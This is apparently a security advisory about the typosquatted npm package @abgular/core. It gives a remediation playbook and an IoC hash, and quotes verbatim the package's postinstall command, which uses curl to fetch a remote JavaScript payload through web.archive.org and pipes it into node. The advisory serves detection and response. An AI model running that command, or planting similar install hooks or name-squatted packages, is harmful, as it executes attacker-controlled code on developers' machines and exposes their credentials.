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Malicious package

@abgular/corenpm

Advisory published Updated

@abgular/core is a confirmed malicious npm package (MAL-2026-17532) that executes malicious code on install (malicious version 22.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @abgular/core (npm)

MAL-2026-17532
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @abgular/core

What this malware does

Package name @abgular/core is a single-character transposition of @angular/core and copies that package's description, author, and repository metadata. The package.json declares a postinstall script that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching an unpinned, unverified JavaScript payload from a third-party code-hosting service via web.archive.org and piping it directly into node during npm install. The fetched code executes on the installer's machine with the installer's privileges; its contents are mutable and attacker-controlled. The deceptive package identity ensures developers who mistype @angular/core trigger this remote-code execution.

Malicious versions

1 flagged
22.2.1

Indicators of compromise (SHA-256)

4c4c8470613dc3a49e249f1a9f91bc756bb9b4323c78268b35816f07e78a0a9b

Detection & response playbook

Malicious package
  1. Find it

    Search your lockfiles and build artifacts for @abgular/core (version 22.2.1).

  2. If you installed it — respond

    Remove @abgular/core from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If @abgular/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @abgular/core on npm has been identified as a malicious package (version 22.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020996

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks @abgular/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

@abgular/core (npm) malicious package — MAL-2026-17532 | O3 Security